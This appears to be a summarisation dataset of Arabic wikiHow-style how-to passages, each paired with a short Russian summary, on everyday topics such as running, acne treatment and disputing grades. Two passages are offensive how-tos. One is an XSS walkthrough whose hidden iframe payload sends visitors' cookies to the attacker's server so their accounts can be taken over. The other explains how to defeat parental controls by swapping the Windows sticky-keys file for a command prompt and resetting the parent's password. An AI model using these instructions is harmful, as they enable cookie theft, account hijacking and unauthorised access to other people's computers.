المحلية أو قسم القضايا المالية أو المكتب الميداني للخدمات بالغة السرية. يمكنك أن تجد الأرقام الخاصة بهذه الأقسام الشرطية في الصفحات الأولى لدليل الهواتف المحلية أو عن طريق البحث عبر الإنترنت. قم بوضع العملة بحرص في غطاء حماية (ظرف أو غلاف بلاستيكي). يجب مراعاة هذا الأمر حتى تقدر السلطات المعنية على جمع أكبر قدر ممكن من المعلومات من على الورقة المالية: بصمات الأصابع، المركبات والمواد الكيميائية المستخدمة، طريقة الطباعة.. إلى آخره. بهذه الطريقة سوف تتجنب اختلاط العملات المزيفة مع العملات الصحيحة. اكتب اسمك وتاريخ...

TL;DR in Russian:

Не подделывайте деньги. Запомните человека (его внешность в деталях), от которого вы получили фальшивую банкноту. Обратитесь в соответствующие органы власти. Получив и распознав фальшивую купюру, немедленно положите ее в конверт или туда, где вы не сможете прикасаться к ней. Напишите необходимую информацию. Заполните специальную форму. Сдавайте фальшивые банкноты или монеты только уполномоченным сотрудникам полиции или ФСБ.


من غير المتوقع أن يكون الشخص الخاضع لجهاز كشف الكذب في حالة من الهدوء حتى مع برائته، على هذا الأساس نجد أنه من الضروري أن تسمح لنفسك بالشعور بالقلق والتوتر حتى يتمكن مسئول الفحص من تسجيل استجاباتك بدقة فيما يخص قولك الحقيقة والكذب.   لا تظهر الخطوط على شاشة الجهاز في شكل خط مستقيم غير منحني حتى في حالة قولك للحقيقة. الجدير بالذكر أن الشخص الذي يشعر بالقلق مع كل إجابة هو أكثر الأشخاص الذين يجتازون الاختبار بصدق. تحل بالصدق إذا كنت بريئا ولا تخفي أي من الحقائق التي قد تخجل منها، يتضمن هذا الأسئلة التحكمية التي يميل الأشخاص إلى الكذب فيها، ولكن الحقيقة أنك كلما كنت صادقًا كلما كانت النتائج أكثر دقة. هذا بالطبع أمر جيد طالما كنت بريئا بالفعل.  يظن البعض أن هناك أسئلة ضمن الاختبار تهدف إلى خداع الشخص وإظهاره بشكل مُذنب، لكن الحقيقة أن هناك قواعد أخلاقية تنظم هذه العملية وتنص على ضرورة أن تكون الأسئلة مباشرة دون أيّة أسئلة مفاجئة أو غير متوقعة. استمع إلى السؤال كاملاً وأجب عليه بدقة. لا تستمع إلى جزء من السؤال وحسب ومن ثم تجيب عليه بناء على توقعك لمعناه بدلاً حقيقة السؤال الفعلية. يُمكنك أن تطلب من مسئول الفحص أن يكرر السؤال الواحد من مرتين إلى ست مرات على حسب الشخص بالطبع، احرص على معرفة قاعدة تكرار السؤال قبل بدء الاختبار. لا تتعجل الإجابة حتى لا يتسبب ذلك في التأثير على نتائج الاختبار. تستغرق عملية الاستجواب في الاختبار مدة ما بين خمس إلى عشر دقائق ولكن تختلف في كثير من الأحيان بناء على طلبك لتكرار الأسئلة أو الوقت الذي تستغرقه في الإجابة وبالطبع طبيعة الاختبار والسبب وراء خضوعك له.

TL;DR in Russian:

Позвольте себе нервничать. Говорите правду. Не торопитесь.


من غير المرجح حذف المراقبة الأبوية بالكامل على حاسوبك لأنك ستفقد كل إعدادات الحساب. سيعطيك إلغاء المراقبة مؤقتًا خيارًا لاستعادة المراقبة ثانيةً عند الحاجة.  قم بالولوج إلى حساب المشرف. اسحب المؤشر لأسفل حتى الوصول إلى قسم الإضافات واختر التحكم في المراقبة الأبوية. حرّك الزر لإيقاف المراقبة الأبوية أو أعد تحريكه مرة أخرى لإعادة تشغيله. قد يتطلب تنفيذ الإعدادات الجديدة حوالي 10 دقائق. تحذير: سيغير هذا كلمة مرور المشرف.  أعد تشغيل حاسوبك. أوقف تشغيله عن طريق سحب قابس الكهرباء بمجرد أن يبدأ في العمل ثانيةً. أعد تشغيل حاسوبك ثانيةً. سيتوفر لك خيار إصلاح بدء التشغيل، فاختره. اضغط إلغاء عندما يسألك عما إذا كنت تود استعادة نظامك. ملاحظة: سيعمل برنامج إصلاح بدء التشغيل الآن لمدة 5-10 دقائق. سيكون أمامك خياران عندما ينتهي البرنامج: إرسال معلومات بخصوص هذه المشكلة، أو عدم إرسال معلومات. تجاهل الخيارين واضغط على السهم الموجود بجوار عرض تفاصيل المشكلة. حرك المؤشر لأسفل حتى الوصول إلى الرابط الأخير: X:\windows\system32\en-US\erofflps.txt. اضغط عليه لفتح ملف نصي. اذهب إلى قائمة ملف ثم فتح بواسطة الملف النصي. اضغط على أيقونة الحاسوب واختر القرص المحلي. اضغط على الويندوز ثم غير "الملفات من هذا النوع" إلى "كل الملفات". افتح مجلد system32 وابحث عن ملف يسمى sethc. اضغط على زر الفأرة الأيمن وأعد تسميته. أضف 0 في نهاية الاسم ثم احفظ الملف. ابحث عن ملف يسمى cmd وانسخه. حرك المؤشر لأسفل والصقه لصنع نسخة أخرى منه. اضغط بالزر الأيمن على الملف الجديد وقم بتسميته sethc وحفظه. أغلق صندوق الملف المفتوح والملف النصي. اختر "عدم إرسال إلى برنامج إصلاح بدء التشغيل" ثم إنهاء. سيتم إعادة تشغيل حاسوبك الآن. اضغط على زر shift خمس مرات متتالية في شاشة الدخول وسيظهر لك صندوق إصدار الأوامر. اكتب اسم المستخدم الخاص بوالديك * ولا تنسى ترك مسافة قبل النجمة ثم اضغط إدخال. ملاحظة: بدل المسافة الموجودة في اسم المستخدم بعلامة _. كمثال: اسم_المستخدم. يمكنك الآن تغيير كلمة السر أو اضغط إدخال مرتين لعدم تحديد كلمة سر. سجل الدخول الآن واتبع التعليمات الموجودة في الخطوة الأولى لإلغاء المراقبة الأبوية.

TL;DR in Russian:

Вы можете временно отключить родительский контроль при помощи пароля администратора. Отключите родительский контроль без пароля администратора при помощи средства «Восстановление запуска» (Startup repair).


من لا مأوي لهم أفراد يعانون من ظروف صعبة تعرضهم بشكل دائم للضعف والحياة الغير آدمية والغير مستقرة. بدلًا من إساءة فهمهم والتغاضي عن النظر لمشاكلهم، عليك أن تقدم لهم المساعدة. تقديم المساعدة لهؤلاء الأفراد سواء في المجتمع المحلي أو حول العالم، سوف يحسن من وضعية حياتهم ويساعدهم على خلق حياة أفضل أكثر استقرارًا وفي مدن أفضل وأكثر آمنًا. ما يعود بالنفع علي حياتهم الخاصة وعلى حياة كل البشر بشكل عام. وعلى وضعية العالم كله. النساء من الجماعات المستضعفة بشكل تقليدي. وعلى الرغم من أن الوضعية قد تحسنت في العديد من البلدان والمجتمعات الحديثة، لكن حتى في أكثر البلدان المطبقة للعدالة النسوية مازالت النساء تعانين من عدم المساواة في الأجور وإعتداءات عدم تحقيق التكافئ. افعل كل ما بوسعك من أجل مساعدة النساء، ليس فقط في مجتمعات العالم الثالث، ولكن حتى في أماكن عملك وفي بيتك ومدينتك. تذكر، بواسطة خلق مجتمع متكافئ يحقق المساواة بين الجنسين، فنحن نفتح الباب للمزيد من الفرص للجميع.

TL;DR in Russian:

Помогайте бездомным людям Помогайте женщинам


من مصادر الحرية القابلية لخوض تجارب جديدة لأنها توسع مداركك وتكسبك متعة اكتشاف مواهبك الدفينة وجعلك مقبلاً على الحياة.  انظر للتجارب الجديدة على أنها فرص عوضًا عن النظر إليها كعوائق أو مصادر للقلق. قبل أن تبدأ في تلك التجارب احسم قرارك النابع من داخلك. هنيء نفسك من وقت لآخر وجرب القيام بأشياء جديدة وأخبر الجميع بما قمت بتحقيقه ليقوموا بدعمك وتشجيعك، كما أن حكي قصتك قد يلهم غيرك لتحقيق ذواتهم. فالمشي في الشارع في يوم سيء قد يصبح ممتعًا في وجود موسيقى جميلة في الخلفية. كلما كبرنا وزادت مسئولياتنا بسبب العمل والأطفال والقيود الاجتماعية كلما قلت التصرفات التلقائية من حياتنا. اكسر تلك القيود المجتمعية لمرة وافعل شيئًا غير متوقع واستعد روح التلقائية والاندفاع كي تحدث بعض التوازن المطلوب.  تابع ما تقوم به مجموعة Improv Everywhere من أشياء طريفة كجعل أكثر من مئتين شخص يجوبون شوارع المدينة حاملين لعبة "الكلب الخفي" والتظاهر أنهم يصطحبون كلابًا حقيقية، فكر خارج الصندوق وعش بحرية واجعل الناس يحدقون بك غير مصدقين لما تراه أعينهم. ابحث عن فيديوهات flash mob على الانترنت وشاهد التصرفات الطريفة التي قام بها بعض الناس لإضفاء المرح والسعادة على الحياة اليومية. امشِ بغير وجهة ولا تتوقف دون حاجة. المشي بلا هدف محدد أمر عظيم. لا ضير في أن تقوم بالاندفاع أحيانًا. تناول فطيرة كاملة على الإفطار أو أحلق شعر رأسك دون تحذير. فجِّر المفاجآت وغير روتينك كي لا تمل ولتجديد الحماس. ابحث عن الأشياء التي تجد فيها شغفك كالكتابة أو الرسم أو ممارسة رياضة ما ومارسها بانتظام، لا يهم إن لم تكن تجيدها الأهم أنك تحب فعلها. واسمح لنفسك بالاندماج معها كليًا وأخبر أفراد عائلتك عنها، أقنع أصدقائك بتجربتها. حاول جعل حياتك تتمحور حولها.

TL;DR in Russian:

Делайте что-нибудь новое, и как можно чаще. Представьте, что у вас есть музыкальный фон, на котором протекает ваша жизнь. Сделайте что-нибудь возмутительное или спонтанное. Гуляйте. Поощрите случайный импульс. Регулярно делайте что-то, чем вы действительно увлечены.


من مهام الأخت الكُبرى الجيدة أن تخصص وقتًا للأخوة الصغار لتعبري لهم عن مدى اهتمامك بهم من خلال تصرفاتك. شجّعي أختك مثلًا إذا كان لديها امتحان هام أو مقابلة عمل واحرصي على التواجد في المناسبات الهامة قدر المستطاع مثل حضور الاحتفالات التكريمية إذا كانت أختك ستنال جائزة ما.  أحضري لها بطاقة تهنئة أو هدية لإعلامها بمدى فخرك بها. قولي لها "حظًا سعيدًا في الاختبار اليوم" أو "مبارك حصولك على الميدالية الذهبية في السباحة، أنا فخورة بكِ للغاية." اذهبا بين الحين والأخرى لتناول الغذاء أو العشاء سويًا، يمكنكمت الذهاب لتناول الطعام دون تخطيط مسبق أو ربما تتفقا على تقليدٍ أسبوعي أو شهري لقضاء بعض الوقت سويًا. استغلا هذا الوقت للتحدث وتجنبا هواتفكما المحمولة.  اصطحبي أخوتك في نزهة بالسيارة لتناول الشطائر أو المثلجات إذا كان مسموحًا لكِ بالقيادة. إذا كنتِ تحت السن القانوني للقيادة أو لا تريدين التنزّه بالسيارة فيمكنك إعداد بعض الشطائر مع أختك وتناولهما في نزهة لطيفة في إحدى الحدائق. اقضِ وقتًا ممتعًا مع أخوتك واذهبوا مثلًا لرؤية فيلمًا تحبونه في السينما، أو اصطحبي أختك  للتسوق بحثًا عن فستان لحفل التخرج خاصتك.  اذهبوا للركض سويًا أو اقضوا يومًا على الشاطئ أو اذهبوا للعب البولينج. استمتعوا بالأعمال اليدوية. ابدأوا في التخطيط لمشروع جديد سويًا أو يمكنك تعليمهم إحدى المهارات اليدوية التي تتقنيها. يمكنكِ مشاركة أسرارك الخاصة مع أخوتك إذا كانوا أهلًا للثقة، سيشجعهم هذا على الوثوق بكِ بدورهم وإخبارك بأسرارهم. ضعي أعمارهم في الاعتبار ولا تفصحي عن شيء غير مناسب لسنهم.  يمكنك مثلًا إذا كانت أختك فوق سن ١٣ سنة أن تخبريها عن أول مرة أحببتِ فيها شابًا. احتفظي بأسرار أخوتك طالما لا يُشكّل الأمر خطرًا عليهم ولا يُهدد صحتهم أو سلامتهم، في هذه الحالة عليكِ بالتحدث معهم وإخبارهم لما يجب عليهم الإفصاح عن الأمر ثم اذهبي معهم لإخبار والديكما أو شخص كبير في السن في موضع مسئولية. تحدث المشاكل بين الأخوة دائمًا حتى لو كنتِ الأخت الكبرى المثالية، حينها يجب عليكِ الاستماع إلى وجهة نظرهم واحترام الاختلاف بينكم. حاولي الحفاظ على هدوئك وتنفسي بعمق إذا تصرفوا بشكلٍ استفزازي. يمكنك مثلًا أن تقولي لأختك "لقد أزعجني استعارتك لقميصي دون إذن مني في ذاك اليوم، أنا لا أمانع مشاركتي ملابسي ولكن يجب عليك الاستئذان أولًا." احرصي على التواصل مع أخوتك إذا كنتم لا...

TL;DR in Russian:

Поддерживайте своих младших братьев и сестер, когда у них какие-то важные мероприятия. Вместе обедайте или ужинайте. Займитесь чем-нибудь интересным. Делитесь секретами. Обсуждайте разные проблемы. Старайтесь общаться хотя бы раз в неделю, если вы не живете вместе.


مهم جدًا أن تتذكر دائمًا أنك كشخص وحياتك عبارة عن أعمال لم تنتهي بعد حتى تستطيع أن تشعر بشعور جيد تجاه نفسك، فطالما أنك تتطور أو تسعى للتطور فأنت تقوم بالفعل الصائب تجاه نفسك وحياتك، وكلما زِدت من تحفيز نفسك خلال هذا التطوير كلما أقنعت نفسك أنك تستحق أن تشعر بشعور جيد. ردد على مسامعك تلك الجملة " التطوير لا الكمال" عدة مرات باليوم إن كان هذا سيساعدك. اكتب في يومياتك كل الصفات التي تظن أنها ذات قيمة وتريدها أن تتوافر فيك، واجتهد كل يوم على أن تحاول بل وتكون تلك القيمة التي تريد أن تراها في نفسك وحياتك، لأنك عندما تعرف بالتحديد ماذا تريد أن تكون وما قيمة التطوير الذي تريد أن تطوره بنفسك بدلًا من أن تسعى للكمال ستستطيع حينها أن تبني اعتزازك بذاتك وترضى عن تحقيقك لتلك الأهداف. اخطو خطوة للوراء لتنظر إلى علاقاتك الاجتماعية الصعبة لتحدد إن كانت تلك العلاقات تساعدك على أن تشعر بشعور جيد أما أنها تعيق ذلك، وذلك لأنك تحتاج لأن تحيط نفسك بأشخاص يؤمنون بك، ويجعلونك تشعر أنك تستحق الحياة، ويعلون من قدرك كي تستطيع أن تبني  شعورك بالاعتزاز بنفسك، لذلك إن وجدت أنك مُحاط بأشخاص سلبيين فأقدِم على بعض الخطوات لتحدد إن كان أولئك الأشخاص يناسبونك أم لا؛ وقد تتناقش مع أولئك الأشخاص مثلًا بخصوص الطريقة التي يعاملونك بها والشعور الذي تبثه فيك تلك المعاملة، وأخيرًا فإن الأمر يعود إليك أن تقرر الأشخاص الذين تريدهم أن يحيطوا بك كي تبني لنفسك نظام دعم نفسي قوي ملئ بالأشخاص الإيجابيين والداعمين لك؛ فتلك طريقة رائعة تبني بها اعتزازك بنفسك وتشعر من خلالها بشعور جيد تجاه حياتك. قم بالتربيت على كتفك واعترف بكل الصفات السوية التي تمتلكها؛ فإن كان هدفك لهذا اليوم أن تبتسم بوجه شخصيْن غريبيْن عنك وفعلت ذلك فامدح نفسك لأنك نشرت الإيجابية، فأنت لا تعلم حقًا من كان بحاجة لتلقِّي ابتسامة خلال هذا اليوم، فابنِ نفسك بطريقة واقعية ومرنة من خلال حرصك على الاعتراف بالقيمة التي تضيفها لهذا العالم.

TL;DR in Russian:

Стремитесь к прогрессу, а не к идеалу. Опишите, каким человеком вы хотите быть. Сторонитесь негативных людей. Хвалите себя.


مهما قرأت عن كيفية الاستعداد للركض، لن يضاهي هذا الممارسة العملية. لديك الكثير من الوقت لشراء ما يلزمك والتدرب لتطوير نفسك. قد تمتلك أفضل حذاء رياضي بالعالم، لكنه لن ينفعك إن لم تبدأ بالركض بالفعل.   يمكنك ممارسة الركض في أي مكان، على الأرصفة أو في الحدائق أو حول أحد المسارات المخصصة في المدارس. ابتعد عن الطرقات قدر الإمكان، إذ تكون حركتك عند الركض سريعة لدرجة يصعب على السائقين والمشاة إدراكها. إن كان لديك عضوية في أحد الأندية الرياضية، يمكنك الركض هناك على جهاز السير. قد يزعجك حركة جسمك أثناء الركض قليلًا في البداية، لا تقلق فهذا طبيعي. أنت تعرض عضلات جسمك لحمل لم تعتد عليه من قبل. ستقوي المداومة على الركض عضلات جسمك لتتكيف مع هذا الحمل مع الوقت. لست بحاجة لحذاء رياضي فاخر، سيفي حذائك القديم بالغرض. إن كنت تخطط للمداومة على برنامج شاق للركض، وقتها قد تحتاج لشراء حذاء رياضي خاص للركض.  ارتد ملابس رياضية مريحة وبسيطة عند الركض : سروال رياضي قصير وقميص وحزام شادٌ للصدر إن لزم الأمر. لا ترتد شيئًا ثقيلًا أو مقيّد. ارتد جوربًا، ستتعرق قدماك وسيحميها الجورب من الاحتكاك بجدار الحذاء. يقلل الركض حافيًا من خطر الإصابة، لكن يجب أن تمارسه على سطحٍ ناعم لا يؤذي قدميك.إن كنت تعيش بالقرب من الشاطئ أو أحد المساحات الخضراء، يمكنك الركض حافيًا. احذر من قطع الزجاج المكسور أو أي شيء حاد بصفة عامة. مرةً أخرى: أدّ الإطالات من وضع الحركة أثناء الإحماء، ولتكن الإطالات من وضع السكون بعد الانتهاء من الركض.  لتكن فترة الإحماء من 5ل10 دقائق قبل وبعد الركض، سيحميك هذا من خطر الإصابة بالشد العضلي. أدِّ الإطالات من وضع الحركة بمختلف أنوعاها كما ذُكر من قبل. ركّز على أداء الحركات بشكلٍ سليم، أنت تُعد جسدك للقيام بنشاط يحتاج لمجهود بدني شاق. الإطالات من وضع السكون مثل: حركة الفراشة وبعض أوضاع اليوجا, ركّز على كل عضلة في وضعيات السكون والثبات، يساعدك هذا على فك وإراحة العضلات التي تعرضت لضغط كبير أثناء الركض. إن كنت تركض ليلًا، اركض في مناطق ذات إضاءة جيدة. حاول ألا تتوقف كثيرًا إن أمكن، سواء كان الوقوف بغرض عقد رباط الحذاء أو التحدث مع أحد الأشخاص. ليكن أحد ذويك على علم بمكان ركضك وموعد عودتك.   إن كنت تركض نهارًا، احذر من السيارات والدراجات والمشاة. كن على وعيٍ تام بما حولك. استعد لتغيير المسار في أي وقت، فلن تتمكن من مجاراة حركة السيارات...

TL;DR in Russian:

Если вы чувствуете, что готовы сегодня пробежаться километр-другой, не откладывайте это дело. На первых порах не заботьтесь об экипировке. Перед пробежкой делайте разминку, а после пробежки — упражнения для растяжки мышц. Изучите окрестности.


مهما كانت مهنة المعلم مهنة نبيلة وتحلى بدوره بالعدالة الشديدة في تقييم الاختبارات والمهام الطلابية، لن يمنع ذلك احتمالية الوقوع في الأخطاء، فالمعلم أو الأستاذ الجامعي بشر في النهاية. يُحتمل أن يكون هناك خطأ ما في نموذج الإجابات أو أن الأستاذ لم يستوعب جيدًا طريقة حلك أو البحث الذي قمت بتقديمه أو أنه كان مستيقظًا لأيام متواصلة أثناء التصحيح أو جمع الدرجات. طالما أنك غير راضٍ عن درجتك الحالية، فأنت بحاجة أولًا إلى اكتشاف أسبابها ومعرفة هل أخطأت في أمر ما أثناء الحل أم أنه يوجد خطأ ما في عملية منح الدرجات نفسها.  راجع إجاباتك مع زملائك والطلاب في المراحل العمرية الأكبر أو عبر الإنترنت أو من خلال أي من المصادر الأخرى المتاحة. إذا كان تعليق الأستاذ أو الدرجة التي منحها لإجابة معينة لا تبدو منطقية فربما أنه أخطأ في القراءة أو أساء تفسير أمر ما في إجابتك. ضع في اعتبارك أن تكون المشكلة في أسلوب كتابتك غير الواضح كذلك وأن الخطأ لا يقع بالضرورة على كاهل الأستاذ. إذا كنت لا تفهم لماذا تم اعتبار إجابة معينة على أنها خطأ أو التصحيح الذي كتبه الأستاذ فقد يكون الحل الأمثل هو عرض الأمر على الأستاذ مباشرة والاستفسار عما لا تفهمه. قد لا تسمح قوانين المدرسة أو الصف الدراسي أو قواعد الأستاذ نفسه بأي تغيير في الدرجة، لكن لا ضرر أبدًا من التواصل والاستفهام بسلوك جيد من أستاذك عن سبب نقص درجتك في اختبار ما، وهو ما قد يمهد لك تعاون الأستاذ وتقبله لمنحك درجات أفضل في نفس الاختبار أو اقتراح وسائل مساعدة لزيادة درجاتك. في العديد من البلاد أو وفقًا لقوانين المؤسسة التعليمية التابع لها، قد تُفرَض قوانين تمنع نهائيًا أي مناقشة بين الأستاذ والطلاب حول درجات الاختبارات عبر البريد الإلكتروني. لن يكون التواصل والأخذ والرد مريحًا على أي حال عبر الرسائل الإلكترونية، لذا اسعَ لتحديد موعد لمقابلة أستاذك وجهًا لوجه ومناقشة الأمر.   جرب التحدث إلى أستاذك بعد انتهاء الحصة الدراسية أو المحاضرة الجامعية. يمكنك أن تقول بأدب شديد: "د. سعيد: رجاءً أنا أستغرب الدرجة التي حصلت عليها في الاختبار الأخير. هل يمكن أن أقابل حضرتك لمناقشة الأمر بتفصيل أكثر؟" لاحظ أن العديد من الأساتذة سيطلبون منك الانتظار ما لا يقل عن 24 ساعة بعد الحصول على درجة لمناقشتها معهم. هذا يشجع الطلاب على مراجعة المواد بعناية في ذلك الوقت وليس مجرد الاندفاع دون تفكير أو التحرك بعدوانية...

TL;DR in Russian:

Проверьте точность конкретной оценки. Договоритесь о встрече. Приготовьтесь предоставить письменные аргументы. Ведите себя вежливо и серьезно. Попросите преподавателя объяснить свои замечания. Подчеркните свое желание совершенствоваться.


مهما كنت تهتم بأظافرك فقد تصاب بالعدوى رغم ذلك، وعندها تظهر خطوط حمراء عبر إصبعك وقدمك أو رجلك، كما قد تصب بالحمى بدرجة 38 سلزيوس أو أكثر. يعد الصديد السميك أو النزح الأبيض أو الملون من مكان الإصابة علامة أخرى للعدوى. زر الطبيب إذا ظهرت أي من تلك العلامات، لأن العدوى قد تكون خطيرة.  سيصف لك الطبيب مضادات حيوية لمقاومة العدوى، والتي يجب تعاطيها حسب تعليمات الطبيب حتى تشفى. زر الطبيب إذا كان الألم شديدًا بدرجة تؤثر على نومك وأنشطتك اليومية أو لم يتحسن بعد ساعتين من أخذ المسكن أو ساء أكثر مع مرور الوقت. إذا زاد التورم ولم يتحسن مع الدواء فضع الثلج وارفع قدمك واطلب المساعدة.  وجه الأسئلة مثل: "لقد زاد الألم في إصبعي اليوم أكثر من البارحة ولم يجدِ دواء التيلينول نفعًا، هل هذا طبيعي؟" أو" ما هو الحد الطبيعي للتورم؟" أحيانًا تتسبب إصابة الظفر وكسره، كسقوط شيء ثقيل عليه، في ورم دموي تحت الظفر أي نزيف. يسبب ذلك جيبًا من الدم تحت الظفر يعطي ألمًا بسبب الضغط، ويبدو ذلك ككدمة زرقاء داكنة أو سوداء أو أرجوانية أشبه بالبقعة تحت الظفر. إذا كانت الكدمة أصغر من ربع حجم الظفر فغالبًا ما تعالج من تلقاء نفسها، وفيما عدا ذلك يجب زيارة الطبيب لأنك قد تحتاج لتفريغ السائل أسفل الظفر لمنع المزيد من الألم والإصابات. لا تحاول فعل ذلك بمفردك أو لغيرك، بل زر الطبيب.  يُحدث الطبيب ثقبًا صغيرًا جدًا بالظفر لتفريغ الدم، ولا يسبب ذلك الألم بل يشعرك تفريغ الدم بالراحة للتخلص من الضغط. يعتمد النمو الطبيعي من جديد للظفر على سلامة أرضيته/ الطبقة الداخلية للظفر. إذا كنت قلقًا من المظهر المحتمل لظفرك بعد النمو فتحدث للطبيب لإجراء جراحة صغيرة بأرضية الظفر. إذا لاحظت تلفًا واضحًا بالأنسجة حول الظفر فقد لا ينمو مجددًا أو قد يبدو مختلف الشكل إلا أن بعض تلك المشاكل قابل للعلاج.  قد يستغرق النمو الكامل للظفر من جديد حوالي 6-12 شهر. إذا استغرقت 15 دقيقة أو أكثر في محاولة فرك وتنظيف الإصابة وما زلت ترى الوسخ والحطام، فاطلب المساعدة الطبية. من المهم تنظيف الإصابة بشكل كامل لمنع العدوى، فإذا لم تستطع التنظيف بنفسك اطلب المساعدة من غيرك.  قد تحتاج لتطعيم ضد مرض الكُزاز "التيتانيوس" على حسب مدى الإصابة بظفرك. إذا كان الجرح متسخًا ومر على آخر تطعيم لك حوالي 5 سنوات أو أكثر، فستحتاج لأخذه من جديد، أما إذا مر على آخر تطعيم 10 سنوات أو أكثر (على الرغم من كون الجرح...

TL;DR in Russian:

При признаках инфекции обратитесь за медицинской помощью. Посетите врача в случае усиливающейся боли, покраснения или отека. Посетите врача, если ноготь почернел или стал синим. Обратитесь к врачу, если вокруг сломанного ногтя видны признаки повреждений. Обратитесь за помощью в том случае, если вы не в состоянии очистить рану. Если палец не двигается или выглядит необычным образом, пройдите рентгеновское исследование.


مواد الرتينويد عبارة عن علاجات موضعية مشتقة من فيتامين A. تمنع هذه المواد انسداد بصيلات الشعر لتقليل حدوث حبّ الشباب. استخدم منتجات الرتينويد على فروة الرأس في المساء. ابدأ باستخدام الرتينويد 3 مرات كل أسبوع، وزد مرّات الاستخدام تدريجيًا حتى تصل إلى مرحلة الاستخدام اليومي مع تعوّد البشرة على الدواء. الدابسون (Aczone) عبارة عن جل موضعي يساعد على علاج حبّ الشباب عن طريق قتل البكتيريا والحفاظ على نظافة مسام الجلد وعدم انسدادها. يتم جمع هذا المستحضر عادة مع علاج رتينويد موضعي للحصول على أقصى فعالية  من العلاجين. تتضمّن الأعراض الجانبية المحتملة جفاف البشرة واحمرارها/تحسّسها. بالنسبة لحالات حبّ الشباب الأشد، قد يكون استخدام المضادات الحيوية الموضعية ضروريًا للمساعدة على علاج الحالة الحالية ومنع ظهور إصابة مستقبلية. تُستخدم المضادات الحيوية عادة مع مادة benzoyl peroxide لتقليل احتمالية ظهور بكتيريا مقاومة للمضادات الحيوية على الجلد، ويمكن أيضًا استخدامها مع مواد الرتينويد للحصول على أقصى فعالية. تتضمّن مجموعات المضادات الحيوية الموصوفة عادة لعلاج حبّ الشباب clindamycin مع benzoyl peroxide (Benzaclin, Duac) و erythromycin مع benzoyl peroxide (Benzamycin). يمكن أن توصف المضادات الحيوية الفموية لحالات حبّ الشباب المتوسّطة والشديدة لتخفيف انتشار البكتيريا في الجسم مما قد يؤدي إلى حب الشباب. يمكن أن تساعد المضادات الحيوية أيضًا على تخفيف الالتهاب الحادث بسبب حبّ الشباب. أكثر المضادات الحيوية شيوعًا لعلاج حبّ الشباب هي tetracyclines، بما في ذلك minocycline و doxycycline. تجد بعض النساء والفتيات اللاتي تعانين من إصابات متكرّرة بحبّ الشباب أن استخدام مضادات الحمل الفموية تساعد على علاج حبّ الشباب. تجمع هذه الأدوية بين مادتي إستروجين و بروجيستيرون لإيصال مادتيّ منع الحمل إلى الجسم.  هناك 3 علاجات فموية لمنع الحمل في الولايات المتحدة الأمريكية حاليًا: Ortho Tri-Cyclen و Estrostep و Yaz.  تتضمّن الأعراض الجانبية الشائعة الصداع، وتيبّس الصدر، والغثيان، واكتساب الوزن، والنزيف المتكرر، ويختبر البعض أعراضًا جانبية أكثر خطورة كزيادة خطر تجلّط الدم. تحدّثي مع طبيبك لمعرفة ما إن كانت موانع الحمل الفموية مناسبة لحالتك. قد يصف الطبيب مضادات الأندروجين  مثل spironolactone (Aldactone) للنساء والفتيات اللاتي لم تنجح معهنّ المضادات...

TL;DR in Russian:

Ретиноиды. «Дапсон». Антибиотики для местного применения. Пероральные антибиотики. Комбинированные оральные контрацептивы. Разузнайте об антиандрогенных веществах.


مواقع تبادل الآراء بالمنشورات هي أفضل مثال. تذكر أنه لو كان هذا الموقع محميّ جيّدًا، فلن تعمل هذه الطريقة. ستحتاج لكتابة بعض الأكواد الخاصة (الشيفرات البرمجية) في منشورك هذا، مما سيسمح لك بالحصول على معلومات كل شخص يضغط عليه. يجب أن تختبر فيما إذا كان الموقع يقوم بتصفية المنشورات المحتوية على أكواد برمجية. اكتب <script>window.alert(“test”)</script> في حال ظهرت لك رسالة تحذيرية عندما تضغط على نشر، فالموقع يمكن اختراقه بهذه الطريقة. الهدف من إجراء هذا الهجوم هو الحصول على الكوكيز الخاصة بالمستخدم (أي سجل نشاطاته على الانترنت) مما يخولك بالوصول إلى حسابه الخاص بالموقع الذي يعاني من ثغرات تسجيل الدخول. ستحتاج إلى برنامج الحصول على الكوكيز، الذي سيقوم بجلب الكوكيز الخاصة بالضحية ثم تغيير وجهتها لتصل إليك. قم برفع البرنامج إلى موقع لديك صلاحيات بالدخول إليه ويدعم php. اكتب الكود المناسب في المنشور والذي سيقوم بدوره بجمع الكوكيز وإرسالهم إلى موقعك. ستودّ أن تضيف بعضًا من النّص بعد الكود من أجل أن تبعد الغموض عنك وتحفظ منشورك من أن يتم حذفه. مثال على الكود <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> بعد ذلك، يمكنك استخدام معلومات الكوكيز، والتي يجب أن يتم حفظها في موقعك، لأي غرض تريده.

TL;DR in Russian:

Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.


ناقش واظهر مشكلة حب الشباب الخاصة بك لطبيب جلدية واعمل معه على تصميم خطة علاج مخصصة لك. العديد من العلاجات الموضعية المناسبة لحب الشباب الخاص بك (الكريمات، اللوشن، الجل، إلخ.) متاحة عبر طبيب أمراض جلدية. هذه العلاجات قد تتضمن:  المضادات الحيوية الموضعية التي يمكن أن تقوم بوضعها على المناطق المصابة لديك للمساعدة على الحكم في البكتيريا المسببة لحب الشباب لديك. الريتينويد الموضعي، المصنوع من فيتامين أ ويساعد على فتح المسام المسدودة، ويمكن أن يساعد المضاد الحيوي أيضًا على العمل بشكل أكثر فعالية. المضادات الحيوية الفموية (على هيئة أقراص) متوافرة أيضًا لدى طبيب الأمراض الجلدية لمشاكل حب الشباب، إذا اعتبر طبيب الأمراض الجلدية الخاص بك أنها مناسبة لك. قد تشبه هذه المضادات الحيوية تلك التي تأخذها عندما تعاني من أي نوع آخر من العدوى، مثل عدوى المثانة. ستساعد في قتل البكتيريا التي تسبب حب الشباب لديك. قد يفكّر بعض الأطباء في وصف موانع الحمل الفموية (أقراص منع الحمل) للنساء الصغار اللاتي يعانين من مشاكل حب الشباب. قد تساعد بعض جرعات منع الحمل القليلة، التي تحتوي على مزيج من هرمونات الاستروجين والبروجستين، على التحكّم في تقليل كمية حب الشباب على بشرتك. في الغالب سمعت الناس يخبرونك ألا تقوم بفقع بثورك (وهذا صحيح) -- لكن هذا لا يعني أنه لا يمكن للطبيب أن يفعل ذلك بالنيابة عنك! تفريغ البثور طبيًا هي طريقة آمنة لتنظيف المسام المصابة بدون خطر الإصابة المتزايد بتخليف ندوب مثلما يحدث عندما تفقع بثورك بنفسك. بما أن التفريغ الطبي يركّز على نوع معين من البثور، ستحتاج إلى العودة إلى الطبيب مجددًا 